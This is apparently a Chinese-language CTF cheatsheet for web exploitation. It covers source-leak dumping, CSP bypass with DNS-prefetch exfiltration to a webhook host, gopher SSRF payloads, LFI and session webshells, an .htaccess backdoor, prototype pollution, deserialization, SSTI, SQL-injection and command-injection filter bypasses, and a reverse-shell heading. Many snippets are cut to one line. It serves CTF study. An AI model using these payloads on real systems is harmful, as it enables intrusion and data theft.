CTF Cheatsheet - Web
web
Information Leak
.git / .svn / .bzr
版本控制系統
.git洩漏可用scrabble將整個.git資料夾下載下來並用git 還原
| 1 | ./scrabble http://www.example.com/ | 
Google Hacking
| 1 | site:www.example.com | 
robots.txt
.DS_Store
.index.php.swp
Backup file
XSS
CSP 怎麼偷資料
假設他 Content Security Policy 在亂寫一通的話,可以用 CSP Evaluator 檢查
CSP 沒擋用什麼偷
例如 CSP 只有擋 script ,那就用 <img> 來偷
| 1 | script-src 'none'; | 
如果把連線都擋掉的話,還是可以使用 location.href 或 window.open() 透過跳轉來偷資料
| 1 | default-src 'none';script-src 'unsafe-inline'; | 
JSONP
允許特定第三方網站引入時,可以嘗試使用 JSONP 引入惡意程式碼
| 1 | default-src https://example.com | 
DNS prefetch
| 1 | <link rel=dns-prefetch href=[YOUR_DATA].webhook.trianglesnake.com> | 
WebRTC
| 1 | var pc = new RTCPeerConnection({ | 
PHP 弱型別判斷

md5()&sha1()
| 1 | md5(array()) ==sha1(array())//true=>error=error | 
https://www.cnblogs.com/shijiahao/p/12638484.html
https://www.twblogs.net/a/5cd66c22bd9eee67a77f66f9
header竄改
可偽造ip相關
- X-Forward-For
- Client-IP
- X-Real-IP
SSRF
gopher 用法
| 1 | gopher://host:port/_HTTPRequest | 
備註:發起POST的四個必要欄位
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11
gopher POST request payload
| 1 | gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20localhost%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%207%0d%0A%0d%0afoo=bar%0d%0A | 
https://hackmd.io/@Lhaihai/H1B8PJ9hX
LFI&RFI
php require()&include()
偽協議
| 1 | //phpfilter | 
| 1 | #敏感檔案 | 
SESSION植入WebShell
若session可寫入,可以利用LFI執行php
| 1 | 寫入 system("ls"); | 
session_path可由phpinfo內找到session.save_path,若無則放在/tmp內
/var/lib/php/session
session檔名為sess_<session id>
JS prototype pollution
基於 JS 原型鏈的攻擊手法:Prototype Pollution
當javascript在呼叫內建函式時,會透過prototype找上一層要呼叫的函式(因為內建函式並沒有真正在乎叫的物件之中)
舉例來說:
| 1 | var lst = ['test'] | 
toString()不可能每個宣告的Array Object都有toString(),當呼叫時必須透過prototype找到上一層然後呼叫Array.toString
所以其實在呼叫lst.toString()的時候其實是呼叫了Array.prototype.toString()
而哪些object的prototype是甚麼則定義在object的__proto__裡面
| 1 | lst.__proto__.toString == Array.prototype.toString //true | 
因此,在一些情況下,有些功能可能造成prototype可以被竄改,進而導致prototype pollution
parse query
在對於Array進行賦值的時候,攻擊者可以透過構造key為__proto__達到prototype pollution
| 1 | //parseQuery function回傳一個parsed的dict | 
合併物件
合併物件同樣有可能發生
| 1 | function merge(a, b) { | 
不難看出,其實只要有對Object的key和value進行操作,就很有可能導致prototype pollution
.htaccess
可影響apache伺服器中資料夾內的檔案
利用指定404、403等錯誤響應文件達成LFI
| 1 | ErrorDocument 404 /flag.txt | 
強制解析非php檔案造成RCE
| 1 | AddType application/x-httpd-php .txt | 
將.htaccess本身作為php執行後門
| 1 | php_value auto_prepend_file .htaccess | 
#為.htaccess的註解符號
若有WAF則可用\換行繞過
| 1 | p\ | 
遇到\時,會接續下一行
https://blog.csdn.net/solitudi/article/details/116666720
Serialize&Deserialize
呼叫反序列化時,可能呼叫一些Magic Method
序列化
| Value | Serialize(PHP) | 
|---|---|
| 8459302 | i:8459302; | 
| TRUE | b:1; | 
| NULL | N; | 
| [’x’,1] | a:2:{i:0;s:1:”x”;i:1;i:1;} | 
PHP Object的序列化
| 1 | new Cat("kitten") =>O:3:"Cat":1:{s:4:"name";s:6:"kitten";} | 
反序列化
| 1 | PHP Magic Method | 
| 1 | **Python Pickle** | 
Phar與反序列化
| 1 | 
SSTI(Server Side Template Injection)

python Flask預設模板為Jinja2
| 1 | render_template_string(template) | 
使用_mro_(Method Resolution Order) bypass Python的Sandbox
| 1 | [].__class__ =><class 'list'> | 
SSTI Payload
更多奇技淫巧:https://tw511.com/a/01/48066.html
SQL injection
https://www.796t.com/content/1545706659.html
https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/
Comments
| 1 | MySQL | 
常見waf
| 1 | escape()->被轉成%XX,@* _ + - . /不編碼 | 
waf繞過
| 1 | 
 | 
Reversed Shell
| 1 | 最經典 | 
問就是 revshells.com
Commandline Injection
截斷指令
最基本的截斷可用;達成,也可使用
- cmd1&&cmd2當- cmd1執行成功時執行- cmd2
- cmd1&cmd2簡單拼接,無論- cmd1執行成功與否都會執行- cmd2
- cmd1||cmd2當- cmd1執行失敗時執行`cmd2
- cmd1|cmd2將- cmd1的執行結果以pipeline塞給- cmd2
- 可以將指令包在 \`或是$()` 之中
空格繞過
- 使用<>繞過- cat<flag
- cat<>flag
 
- {cat,flag}
- 使用特殊變量$IFS繞過(預設是空格)- cat$IFS./flag
- cat$IFS\flag
 
過濾繞過
- regex繞過- /usr/bin/ca? flag
 
- 反斜線繞過- ca\t fl\ag
 
- 空變量繞過- ca${Z}t flag
 
一些猛料
https://www.zhihu.com/tardis/zm/art/339266206?source_id=1003
https://blog.csdn.net/m0_61011147/article/details/126722464
一些會一直旺季的東東


更多筆記
https://github.com/splitline/How-to-Hack-Websites
CTF Cheatsheet - Web